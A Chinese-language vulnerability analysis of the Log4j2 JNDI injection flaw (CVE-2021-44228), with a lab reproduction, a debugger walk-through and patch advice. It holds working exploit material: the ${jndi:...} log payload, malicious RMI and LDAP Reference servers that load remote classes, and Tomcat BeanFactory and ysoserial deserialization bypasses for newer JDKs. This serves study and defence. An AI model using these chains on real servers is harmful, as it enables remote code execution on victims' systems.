2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。
Apache Log4j2是一个基于Java的日志记录组件,该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息,得益于其突出于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
高危。官方 CVSS 评分 10.0(最高是10.0),CVE 编号为:CVE-2021-44228
该漏洞影响了大批Java框架,包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 以及使用log4j2组件的自研/商业系统等。
遵守网络安全相关法规,本文不提供任何EXP工具,仅复现和分析漏洞过程原理。故本地搭建存在漏洞版本的 Apache Log4j2 2.11.1
新建maven项目,jdk版本选用1.70_21(原因后面会说):
pom.xml 导入log4j2 2.11.1的版本依赖:
org.springframework.boot
spring-boot-starter-log4j2
2.1.1.RELEASE
然后右键pom.xml -> Synchronize即可下载依赖:
首先写一个恶意命令执行弹计算器的类,恶意代码放在静态块中
Calc.java
import java.io.IOException;
public class Calc {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
使用命令 javac Calc.java 编译成class文件
用 marshalsec.jar 起一个简单的RMI服务,模拟恶意RMI服务端,将上面编译好的Calc.class放入同级目录下,运行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.57/#Calc 1389
再模拟客户端,写一个漏洞利用点
Log4j2.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Hello world!
*
*/
public class Log4j2
{
public static void main( String[] args )
{
System.out.println( "Hello World!" );
Logger logger = LogManager.getLogger(Log4j2.class);
logger.error("${jndi:rmi://192.168.1.57:1389/#Calc}");
}
}
运行之后就请求到恶意RMI服务器,并动态加载远程恶意字节码执行:
用Log4j2记录日志,一般是用LogManager.getLogger()获取到Logger对象,在使用Logger对象下的error/debug/info/log/trace/warn等方法处理日志信息:
研究一下漏洞的触发点是什么,在logger.error()函数处下断点调试:
进入error方法后,可以看到在logIfEnabled()方法中,传入了日志的Level、Message(我们的可控payload):
判断日志是否开启,开启则进行logMessage方法处理:
值得一提的是,在isEnabled()中,会对Level的值进行一个优先级的记录,比如当前Error的日志是200:
其他的等级如下:
所以日志的优先级为:
OFF > FATAL > ERROR > WARN > INFO > DEBG > TRACE > ALL
在logMessage()之后,多次调用之后,最后移交给logMessageTrackRecursion()处理,这里会计算一个递归处理日志的一个深度:
在处理日志的之前,会从privateConfig中获取打日志的策略:
获取策略之后,调用log方法,跟进去发现是交给loggerConfig.log()去处理:
在loggerConfig.log()中,先是创建了logEvent,之后再调用重载的log()来处理logEvent对象(日志信息):
最后是进入processLogEvent()中处理,设置了打印了location信息,然后进入callAppender():
之后一直跟进到AbstractOutputStreamAppender.append()方法:
在directEncodeEvent中,获取PatternLayerout来进行encode处理日志:
在ToText方法中,传入了两个参数,一个是处理event的11个formatters;另一个是我们的日志:
接下来就使用每一个formatters的format方法来格式化日志event:
十一个formatters分别是:
DatePatternConverter
LiteralPatternConverter
ThreadNamePatternConverter
LiteralPatternConverter
LevelPatternConverter
LiteralPatternConverter
LoggerPatternConverter
LiteralPatternConverter
MessagePatternConverter 【关键触发点】
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter
简单跟一下是日志处理过程,第一个登场的是DatePatternConverter,用于处理/记录日志时间,执行完DatePatternConverter.format()之后 ,结果返回到buffer中:
其他的PatternConverter就不一一跟进了,直接跟处理日志的关键MessagePatternConverter :
将原本event的日志字符提取到Message msg中;之前的结果赋值给workingBuilder中,然后会有一个nolookups的私有final变量,默认是false,即使默认使用lookup操作,为后面的jndi命令注入利用提供可能:
判断了payload(即将需要处理的日志)中是否有:${ 有则提出来赋值给value并传给replace方法进一步处理:
在replace方法中,又传给substitue方法处理:
substitute关键处理逻辑是先对前缀( ${ )、后缀( } )、分隔符( :- )字符的Mather类进行初始化:
然后递归处理截取了${xxx}中的xxx内容,这里截取了payload:jndi:rmi://192.168.1.57:1389/#Calc
截取到内容之后,再递归去继续截取${xxx},当然,如果没有嵌套的${xxx}就直接return了:
然后就是匹配分隔符::-
上面匹配了前缀( ${ )、后缀( } )、分隔符( :- ),都是最后给replace成空,也就是去掉这些字符,而且也存在递归操作,这里也为后面的jndi注入bypass WAF提供了途径和可能。
然后使用checkCyclicSubstitution方法确认处理后的字符串和原字符串是否有出入,然后进入关键的resolveVariable函数,:
然后交给StrLookup.looup()来解析payload,可以看到resolver是一个Interpolator类,
构造方法里面初始化了一个 strLookupMap ,将一些 lookup 功能关键字和对应的实例类进行了映射,存放在这个 Map 中:
值得一提的是,这些关键字随着log4j2的版本不同,支持处理的也会不同,比如上图的是存在于版本2.11.1中的,而在版本2.14.0中额外支持了关键字:upper、lower
在支持更多关键字解析的同时,也为Bypass WAF提供了更多操作空间。
在lookup方法中,将判断prefix是否在支持关键字中(在strLookupMap表中查询),并通过strLookupMap 表获取到对应的实例,这里是JNDI实例:
然后使用对应的实例,即JndiLookup#ookup方法处理jndi后面的内容:
最后调用JndiManager#lookup()来进行jndi查询,同时也可以看到JndiManger实际上包含了一个InitialContext类,可以用于lookup操作:
再跟入稍等几秒钟就会请求远程的RMI服务器上的Calc.class
至此,调试结束。
上面的漏洞复现都是使用marshealsec.jar直接起的LDAP/RMI服务器,有些同学可能会对JNDI和LDAP/RMI服务有些疑惑,这里简单介绍一下。
JNDI:全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
RMI:是经典的命名服务,命名服务是一种简单的键值对绑定,可以通过键名检索值。
LDAP:是典型的目录服务,目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,我们举个例子:比如你要在某个学校里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。
其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。
JNDI是对各种访问目录服务的逻辑进行了再封装,类似于java中的多态,通俗的来说也就是:以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,所以jndi更像一种提供多态的接口,如下图:
在JNDI中提供了绑定和查找的方法:
下面将简单地演示如何用jndi访问rmi服务:
IHello.java 接口
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
IHelloImpl.java 实现IHello接口
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
RMIServer.java 模拟RMI服务端
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
// init registery
Registry registry = LocateRegistry.createRegistry(1099);
// create object
IHello iHello = new IHelloImpl();
// bind obj
registry.bind("hello", iHello);
System.out.println("RMI Server Starting at 1099 ...");
}
}
RMIClient.java 模拟RMI客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;
public class RMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
// init env
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); // 指定了到rmi://127.0.0.1:1099加载本地没有的类
Context ctx = new InitialContext(env);
// jndi get remote obj
IHello iHello = (IHello) ctx.lookup("hello");
// IHello iHello = (IHello) ctx.lookup("rmi://127.0.0.1:1099/calc"); // remote Evil RMIServer
System.out.println(iHello.sayHello("RMIServer"));
}
}
其中,Context.PROVIDER_URL指定了到rmi://127.0.0.1:1099加载本地没有的类。
下面运行按顺序启动服务端和运行客户端:
那么思考一个问题,在客户端的Context.lookup("hello");方法是否可以修改为恶意服务器地址呢?
答案是可以的。这就涉及到JNDI的动态协议转换。
JNDI 动态协议转换
就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象。
正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。
JNDI Reference类
但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助Reference类来加载RMI/LDAP服务以外的对象引用。
如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
创建Reference对象,可以将恶意对象类传入其构造方法中:
// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名,第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("calcName", "Calc", "http://192.168.1.57:1099/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference类,客户端会在本地的classpath中去检查是否存在类calcName,如果不存在则去指定的http://192.168.1.57:1099/calcName.class)动态加载,并且调用Calc的无参构造函数,所以可以在构造函数里写恶意代码(当然也可以在static代码块中)
JNDI注入
下面演示简单的JNDI注入,其原理是将恶意的Reference类绑定在RMI注册表中,并将恶意引用指向远程恶意的class文件。
JNDI注入的利用条件:
当用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类时,会加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
下面代码实现:
RMIReferenceServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIReferenceServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
// init registery
Registry registry = LocateRegistry.createRegistry(1099);
// create reference object
Reference reference = new Reference("calc", "Calc", "http://192.168.1.57:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// bind obj
registry.bind("test", wrapper);
System.out.println("RMI Server Starting at 1099 ...");
}
}
上面指定了Reference对象到恶意服务端http://192.168.1.57:8081/中动态加载,这里需要起一个8081端口的http服务,并将恶意类Calc.class放在其根目录下:
python -m http.server 8081
客户端的lookup参数为:
ctx.lookup("rmi://192.168.1.57:1099/test")
运行客户端之后:
http服务也收到class的请求:
jdk版本在jndi注入中也起着至关重要的作用,一些利用链依赖于jdk中的一些特殊类,但是随着jdk版本的升级,可能这些类会被丢弃和更改,导致不能适用,也就是说不同的攻击对jdk的版本要求也不一致:
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
上文漏洞复现中适用的是jdk1.70_21,当选用jdk1.8.0_121后:
在使用RMI协议无法进行jndi注入:
这里可以使用LDAP协议进行绕过:
在使用高版本的JDK之后,默认com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的值变为false,禁用了远程加载恶意类的方法,RMI和LDAP协议都无法注入成功。
不过并没有限制从本地进行加载类文件,比如org.apache.naming.factory.BeanFactory(存在Tomcat8中),因为是在本地的,所以无需搭建http服务即可利用。
这里事先导入Tomcat8的包:
BypassJdk8u191Server.java 模拟服务端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class BypassJdk8u191Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=evil"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Calc", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
客户端的lookup参数为:
ctx.lookup("rmi://192.168.1.57:1099/calc")
JDK 6u211,7u201, 8u191, 11.0.1开始,com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。
利用 javaSerializedData 属性绕过。
当 javaSerializedData 属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。
假设目标存在一个CC链所需的类库,pom.xml:
commons-collections
commons-collections
3.2.1
com.unboundid
unboundid-ldapsdk
4.0.9
compile
那么可以利用这点进行利用:
1. 先用ysoserial.jar 生成CC链的POC:
java -jar ysoserial.jar CommonsCollections3 calc | base64
2. 转换为base64放到服务端代码里:
LDAP服务端代码为:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class BypassJDK8191LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] tmp_args) throws Exception {
String[] args = new String[]{"http://localhost/#Calc"};
int port = 1389;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("your base64 code"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端的lookup参数为:
ctx.lookup("ldap://192.168.1.57:1389/Calc")
目前,Apache官方已发布新版本完成漏洞修复,CNVD建议用户尽快进行自查,并及时升级至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 。
建议同时采用如下临时措施进行漏洞防范:
建议使用如下相关应用组件构建网站的信息系统运营者进行自查,如Apache Struts2、Apache Solr、Apache Druid、Apache Flink等,发现存在漏洞后及时按照上述建议进行处置。
https://tntaxin.blog.csdn.net/article/details/105586691
https://xz.aliyun.com/t/10035#toc-4